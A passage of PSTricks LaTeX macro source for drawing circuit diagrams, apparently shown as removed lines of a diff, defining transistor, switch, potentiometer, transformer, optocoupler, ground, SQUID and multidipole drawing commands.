arrowsize=6\pslinewidth,arrowinset=0]{->}(-0.1,0)(0.1,0)} - \nbput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoriemitter} - \fi\fi% - \ifPst@transistoricollector% collector current? - \ifPst@transistorinvert\else% emitter/collector changed? - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width,% - arrowsize=6\pslinewidth,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoricollector} - \fi\fi% - \bgroup - \psset{style=emitterOpt} - \ifPst@transistorinvert\pscirc@edge(#2)(@@collector)\else\pscirc@edge(#2)(@@emitter)\fi - \egroup - \ncput[npos=2]{\pnode{\ifPst@transistorinvert @@collector\else @@emitter\fi}} - \ifPst@transistoriemitter - \ifPst@transistorinvert\else - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width, - arrowsize=6\pslinewidth,arrowinset=0]{<-}(-.1,0)(.1,0)} - \naput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoriemitter} - \fi\fi% - \ifPst@transistoricollector% collector current? - \ifPst@transistorinvert% emitter/collector changed? - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width, - arrowsize=6\pslinewidth,arrowinset=0]{<-}(-.1,0)(.1,0)} - \naput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoricollector} - \fi\fi - \psline[linestyle=none](#1)(#2)% for the end arrows - \psline[linestyle=none](#1)(#3)% for the end arrows - \endgroup - \ignorespaces% -} -% -\def\Tswitch{\pst@object{Tswitch}} -\def\Tswitch@i(#1)(#2)(#3)#4{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y2 def - XC YC){C@} - \rput(C@){\pst@draw@Tswitch} - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tswi@left} - \ncangle[arrows=-,arm=0.5,angleB=0]{#2}{Tswi@right} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#3}{Tswi@center} - \ncline[arrows=-,linestyle=none,fillstyle=none]{Tswi@left}{Tswi@right} - \naput{#4} - \pcline[linestyle=none](#1)(#2)% for the endarrows - \pcline[linestyle=none](#2)(#3)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -% -% 20030830 hv -% -\def\potentiometer{\pst@object{potentiometer}} -\def\potentiometer@i(#1)(#2)(#3)#4{% - \begin@ClosedObj - \resistor(#1)(#2){#4} - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /dx X2 X1 sub def - /dy Y2 Y1 sub def - dx 2 div X1 add - dy 2 div Y1 add ){Center@} - \pst@getcoor{Center@}\pst@tempd - \pnode(!% - \pst@tempd /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - dx abs 0.01 lt{ - X3 Y4 - }{dy abs 0.01 lt { - X4 Y3 - }{/m dy dx div def - /x Y4 Y3 sub m X3 mul add X4 m div add m 1 m div add div def - x dup X3 sub m mul Y3 add - } ifelse - }ifelse){@tempNodeB} - \pnode(!% - /Alpha dy dx atan def - /dx Alpha sin 0.25 mul def - /dy Alpha cos 0.25 mul def - Y3 Y2 gt {X4 dx sub Y4 dy add}{X4 dx add Y4 dy sub}ifelse ){@tempNodeC} - \psline[arrows=->,arrowsize=0.2](#3)(@tempNodeB)(@tempNodeC) - \pcline[linestyle=none](#1)(#3)% for the endarrows - \end@ClosedObj% - \ignorespaces% -} -% -% quadrupoles -% -\def\transformer{\pst@object{transformer}} -\def\transformer@i(#1)(#2)(#3)(#4)#5{% - \addbefore@par{dimen=middle,arm=0}% - \begin@ClosedObj% - \if\psk@Trafo@iprimary@label\@empty\else - \psset{transformeriprimary=true}% - \fi - \if\psk@Trafo@isecondary@label\@empty\else - \psset{transformerisecondary=true}% - \fi - \ifPst@intensity - \psset{transformeriprimary=true,transformerisecondary=true}% - \fi - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pst@getcoor{#4}\pst@tempd - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - \pst@tempc /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - /XC X1 X2 lt {X2} {X1} ifelse X3 X4 lt {X3} {X4} ifelse add 2 div def - /YC Y1 Y3 lt {Y1} {Y3} ifelse Y2 Y4 lt {Y2} {Y4} ifelse add 2 div def - XC YC){C@} - \rput(C@){\pst@draw@transformer} - \ncangle[arrows=-,arm=0.5,angleB=90]{#1}{inup@} - \ifPst@Trafo@iprimary - \ncput[npos=2.5,nrot=:U]{\psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@Trafo@iprimary@label} - \fi - \ncangle[arrows=-,arm=0.5,angleB=-90]{#2}{indown@} - \ncangle[arrows=-,arm=0.5,angleB=90]{#3}{outup@} - \ifPst@Trafo@iprimary - \ncput[npos=2.5,nrot=:U]{\psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@Trafo@isecondary@label} - \fi - \ncangle[arrows=-,arm=0.5,angleB=-90]{#4}{outdown@} - \ncline[arrows=-,linestyle=none,fillstyle=none]{indown@}{inup@} - \naput{\psk@Trafo@primary@label} - \ncline[arrows=-,linestyle=none,fillstyle=none]{outdown@}{outup@} - \nbput{\psk@Trafo@secondary@label} - \ncline[arrows=-,linestyle=none,fillstyle=none]{indown@}{outdown@} - \nbput{#5} - \pcline[linestyle=none](#1)(#3)% for the end arrows - \pcline[linestyle=none](#2)(#4)% for the end arrows - \end@ClosedObj% - \ignorespaces% -} -% -% Start hv 2003-07-23 -\def\optoCoupler{\pst@object{optoCoupler}} -\def\optoCoupler@i(#1)(#2)(#3)(#4)#5{% - \addbefore@par{dimen=middle,arm=0}% - \begin@ClosedObj% - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pst@getcoor{#4}\pst@tempd - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - \pst@tempc /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - /XC X1 X2 lt {X2} {X1} ifelse X3 X4 lt {X3} {X4} ifelse add 2 div def - /YC Y1 Y3 lt {Y1} {Y3} ifelse Y2 Y4 lt {Y2} {Y4} ifelse add 2 div def - XC YC){C@} - \rput(C@){\pst@draw@optoCoupler} - \ncangle[arrows=-,arm=0.5,angleB=90]{#1}{inup@} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#2}{indown@} - \ncangle[arrows=-,arm=0.5,angleB=90]{#3}{outup@} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#4}{outdown@} - \ncline[arrows=-,linestyle=none,fillstyle=none]{indown@}{outdown@} - \nbput{#5} - \pcline[linestyle=none](#1)(#3)% for the end arrows - \pcline[linestyle=none](#2)(#4)% for the end arrows - \end@ClosedObj% - \ignorespaces% -} -% -% The logical circuits part -% -\def\logic{\@ifnextchar[{\pst@draw@logic}{\pst@draw@logic[]}} -% -\def\ground{\@ifnextchar[{\pst@ground}{\pst@ground[]}} -\def\pst@ground[#1]{% - \@ifnextchar({\pst@groundi[#1]{0}}{\pst@groundi[#1]}% -} -\def\pst@groundi[#1]#2(#3){{% - \psset{#1}% - \rput{#2}(#3){% - \psframe[fillstyle=vlines,% - linestyle=none,% - fillstyle=none,% - hatchwidth=0.5\pslinewidth](-0.5,-0.7)(0.5,-0.5) - \psline[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,-0.5) - \psline(0,0)(0,-0.5) - \ifPst@connectingdot - \pscircle*(0,0){2\pslinewidth} - \fi - } - \ignorespaces% -}} -% -% end hv 2003-08-29 -% -%% SQUID def added 2009-02-18 Amit Finkler -\def\SQUID{\@ifnextchar[{\pst@SQUID}{\pst@SQUID[]}} -\def\pst@SQUID[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@SQUID}\ignorespaces} -% -\def\pst@multidipole@SQUID{\@ifnextchar[{\pst@multidipole@SQUID@}{\pst@multidipole@SQUID@[]}} -% -\def\pst@multidipole@SQUID@[#1]#2{% - \expandafter\def\csname pst@circ@tmp@\number\pst@circ@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@circ@parallel\aftergroup\advance\aftergroup\pst@circ@count@i\aftergroup\ - m@ne\fi}% - \pst@circ@count@ii=\pst@circ@count@i% - \advance\pst@circ@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\SQUID[#1]% - (! X@\the\pst@circ@count@i\space Y@\the\pst@circ@count@i)% - (! X@\the\pst@circ@count@ii\space Y@\the\pst@circ@count@ii)% - {\noexpand\csname pst@circ@tmp@\number\pst@circ@count@iii\endcsname}% - }% - \pst@multidipole@} -% -\def\pst@draw@SQUID{% - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \psline(0.1,-0.6)(-0.1,-0.4) - \psline(0.1,-0.4)(-0.1,-0.6) - \psline(0.1,0.6)(-0.1,0.4) - \psline(0.1,0.4)(-0.1,0.6) - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2}% -} -%% End of SQUID def - -% -%%%%%%%%%%%%% -\def\multidipole{\@ifnextchar[{\pst@multidipole}{\pst@multidipole[]}} -\def\pst@multidipole[#1](#2)(#3)#4{% - \psset{#1}% - \pst@getcoor{#2}\pst@tempA - \pst@getcoor{#3}\pst@tempB - \pst@Verb{% - gsave - STV CP T - \pst@tempA /Ybegin@ exch \pst@number\psyunit div def - /Xbegin@ exch \pst@number\psxunit div def - \pst@tempB /Yend@ exch \pst@number\psyunit div def - /Xend@ exch \pst@number\psxunit div def - /Xbegin Xbegin@ Xend@ lt {Xbegin@} {Xend@} ifelse def - /Xend Xbegin@ Xend@ lt {Xend@} {Xbegin@} ifelse def - /Ybegin Ybegin@ Yend@ lt {Ybegin@} {Yend@} ifelse def - /Yend Ybegin@ Yend@ lt {Yend@} {Ybegin@} ifelse def - /@angle Yend Ybegin sub Xend Xbegin sub Atan def - /X@length Xend Xbegin sub Yend Ybegin sub Pyth @angle cos mul Xend@ Xbegin@ lt {neg} if def - /Y@length Xend Xbegin sub Yend Ybegin sub Pyth @angle sin mul Yend@ Ybegin@ lt {neg} if def - grestore}% - \pst@count@i=\z@ - \let\pst@multidipole@output\@empty - \ifx\resistor #4\let\pscirc@next\pst@multidipole@resistor% 1 - \else\ifx\RFLine #4\let\pscirc@next\pst@multidipole@RFLine - \else\ifx\capacitor #4\let\pscirc@next\pst@multidipole@capacitor - \else\ifx\battery #4\let\pscirc@next\pst@multidipole@battery - \else\ifx\coil #4\let\pscirc@next\pst@multidipole@coil - \else\ifx\Ucc #4\let\pscirc@next\pst@multidipole@Ucc - \else\ifx\Icc #4\let\pscirc@next\pst@multidipole@Icc - \else\ifx\switch #4\let\pscirc@next\pst@multidipole@switch - \else\ifx\diode #4\let\pscirc@next\pst@multidipole@diode - \else\ifx\Zener #4\let\pscirc@next\pst@multidipole@Zener% 10 - \else\ifx\wire #4\let\pscirc@next\pst@multidipole@wire - \else\ifx\lamp #4\let\pscirc@next\pst@multidipole@lamp - \else\ifx\circledipole#4\let\pscirc@next\pst@multidipole@circledipole - \else\ifx\LED #4\let\pscirc@next\pst@multidipole@LED - \else\ifx\dashpot #4\let\pscirc@next\pst@multidipole@dashpot %15 - \else\ifx\filter #4\let\pscirc@next\pst@multidipole@filter - \else\ifx\isolator #4\let\pscirc@next\pst@multidipole@isolator% - \else\ifx\freqmult #4\let\pscirc@next\pst@multidipole@freqmult% - \else\ifx\phaseshifter#4\let\pscirc@next\pst@multidipole@phaseshifter% - \else\ifx\vco #4\let\pscirc@next\pst@multidipole@vco % 20 - \else\ifx\amplifier #4\let\pscirc@next\pst@multidipole@amplifier% - \else\ifx\detector #4\let\pscirc@next\pst@multidipole@detector% 22 - \else\ifx\SQUID #4\let\pscirc@next\pst@multidipole@SQUID% 23 - \else\let\pscirc@next\ignorespaces - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi% 1..10 - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi%11..20 - \fi\fi\fi% 21..23 - \advance\pst@count@i\@ne - \advance\pst@count@iii\@ne - \pscirc@next} -% -\def\pst@multidipole@#1{% - \ifx\resistor#1\let\pscirc@next\pst@multidipole@resistor %1 - \else\ifx\RFLine#1\let\pscirc@next\pst@multidipole@RFLine - \else\ifx\capacitor#1\let\pscirc@next\pst@multidipole@capacitor - \else\ifx\battery#1\let\pscirc@next\pst@multidipole@battery - \else\ifx\coil#1\let\pscirc@next\pst@multidipole@coil %5 - \else\ifx\Ucc #1\let\pscirc@next\pst@multidipole@Ucc - \else\ifx\Icc #1\let\pscirc@next\pst@multidipole@Icc - \else\ifx\switch #1\let\pscirc@next\pst@multidipole@switch %off - \else\ifx\diode#1\let\pscirc@next\pst@multidipole@diode - \else\ifx\Zener #1\let\pscirc@next\pst@multidipole@Zener %10 - \else\ifx\wire #1\let\pscirc@next\pst@multidipole@wire - \else\ifx\lamp #1\let\pscirc@next\pst@multidipole@lamp - \else\ifx\circledipole#1\let\pscirc@next\pst@multidipole@circledipole - \else\ifx\LED #1\let\pscirc@next\pst@multidipole@LED - \else\ifx\dashpot #1\let\pscirc@next\pst@multidipole@dashpot %15 - \else\ifx\filter #1\let\pscirc@next\pst@multidipole@filter - \else\ifx\isolator #1\let\pscirc@next\pst@multidipole@isolator - \else\ifx\freqmult #1\let\pscirc@next\pst@multidipole@freqmult% - \else\ifx\phaseshifter#1\let\pscirc@next\pst@multidipole@phaseshifter% - \else\ifx\vco #1\let\pscirc@next\pst@multidipole@vco % 20 - \else\ifx\amplifier#1\let\pscirc@next\pst@multidipole@amplifier% - \else\ifx\detector #1\let\pscirc@next\pst@multidipole@detector% 22 - \else\ifx\SQUID #1\let\pscirc@next\pst@multidipole@SQUID% 23 - \else\let\pscirc@next\ignorespaces\pst@multidipole@output - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi - \fi\fi\fi - \advance\pst@count@i\@ne - \advance\pst@count@iii\@ne - \pscirc@next -} -% -\def\pst@multidipole@resistor{\@ifnextchar[{\pst@multidipole@resistor@}{\pst@multidipole@resistor@[]}} -% -\def\pst@multidipole@resistor@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\resistor[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@RFLine{\@ifnextchar[{\pst@multidipole@RFLine@}{\pst@multidipole@RFLine@[]}} -\def\pst@multidipole@RFLine@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\RFLine[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -% pd start ==================================================== -\def\pst@multidipole@dashpot{\@ifnextchar[{\pst@multidipole@dashpot@}{\pst@multidipole@dashpot@[]}} -% -\def\pst@multidipole@dashpot@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\dashpot[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% pd end ====================================================== -\def\pst@multidipole@capacitor{\@ifnextchar[{\pst@multidipole@capacitor@}{\pst@multidipole@capacitor@[]}} -% -\def\pst@multidipole@capacitor@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\capacitor[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@battery{\@ifnextchar[{\pst@multidipole@battery@}{\pst@multidipole@battery@[]}} -% -\def\pst@multidipole@battery@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\battery[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@coil{\@ifnextchar[{\pst@multidipole@coil@}{\pst@multidipole@coil@[]}} -% -\def\pst@multidipole@coil@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\coil[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@Ucc{\@ifnextchar[{\pst@multidipole@Ucc@}{\pst@multidipole@Ucc@[]}} -% -\def\pst@multidipole@Ucc@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\Ucc[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@Icc{\@ifnextchar[{\pst@multidipole@Icc@}{\pst@multidipole@Icc@[]}} -% -\def\pst@multidipole@Icc@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\Icc[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@switch{\@ifnextchar[{\pst@multidipole@switch@}{\pst@multidipole@switch@[]}} -% -\def\pst@multidipole@switch@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\switch[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@diode{\@ifnextchar[{\pst@multidipole@diode@}{\pst@multidipole@diode@[]}} -% -\def\pst@multidipole@diode@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\diode[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@Zener{\@ifnextchar[{\pst@multidipole@Zener@}{\pst@multidipole@Zener@[]}} -\def\pst@multidipole@Zener@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\Zener[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@lamp{\@ifnextchar[{\pst@multidipole@lamp@}{\pst@multidipole@lamp@[]}} -% -\def\pst@multidipole@lamp@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\lamp[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@circledipole{\@ifnextchar[{\pst@multidipole@circledipole@}{\pst@multidipole@circledipole@[]}} -% -\def\pst@multidipole@circledipole@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\circledipole[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@LED{\@ifnextchar[{\pst@multidipole@LED@}{\pst@multidipole@LED@[]}} -% -\def\pst@multidipole@LED@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\LED[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@wire{\@ifnextchar[{\pst@multidipole@wire@}{\pst@multidipole@wire@[]}} -% -\def\pst@multidipole@wire@[#1]{% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\wire[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)(! X@\the\pst@count@ii\space Y@\the\pst@count@ii) - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@def@coor{% - \noexpand\pst@Verb{% - /X@\the\pst@count@i\space \the\pst@count@i\space 1 sub X@length \noexpand\the\pst@count@i\space div mul Xbegin@ add def - /Y@\the\pst@count@i\space \the\pst@count@i\space 1 sub Y@length \noexpand\the\pst@count@i\space div mul Ybegin@ add def - /X@\the\pst@count@ii\space \the\pst@count@i\space X@length \noexpand\the\pst@count@i\space div mul Xbegin@ add def - /Y@\the\pst@count@ii\space \the\pst@count@i\space Y@length \noexpand\the\pst@count@i\space div mul Ybegin@ add def - }% -\ignorespaces} -% -%%%%%%%%%%%%%%%%%%%%%%%% -% -\def\pst@draw@dipole#1#2#3#4#5{% suggestion by Alain Ristow - \psset{dimen=middle,#1}% - \if\psk@I@label\@empty\else\psset[pst-circ]{intensity=true}\fi - \if\psk@tension@label\@empty\else\psset[pst-circ]{tension=true}\fi - \ifx\psk@Dconvention\pst@Dconvention@generator - \Pst@Dconventiontrue - \else - \ifx\psk@Dconvention\pst@Dconvention@receptor\Pst@Dconventionfalse\fi - \fi - \pcline[arrowscale=1,arrows=-,linestyle=none,fillstyle=none](#2)(#3) - \ncput[nrot=:U]{\pnode{dipole@M}} - \ifPst@parallel - \pcline[arrows=-,linestyle=none,fillstyle=none](#2)(dipole@M) - \ncput[npos=\psk@parallel@sep]{\pnode{dipole@@1}} - \pcline[arrows=-,linestyle=none,fillstyle=none](#3)(dipole@M) - \ncput[npos=\psk@parallel@sep]{\pnode{dipole@@2}} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@parallel@arm](dipole@@1)(dipole@@2) - \ncput[npos=0]{\pnode{dipole@@@1}} - \ncput[npos=1]{\pnode{dipole@@@2}} - \ncput[nrot=:U]{#5} - \pcline[arrows=-](dipole@@1)(dipole@@@1) - \pcline[arrows=-](dipole@@@1)(dipole@1) - \pcline[arrows=-](dipole@2)(dipole@@@2) - 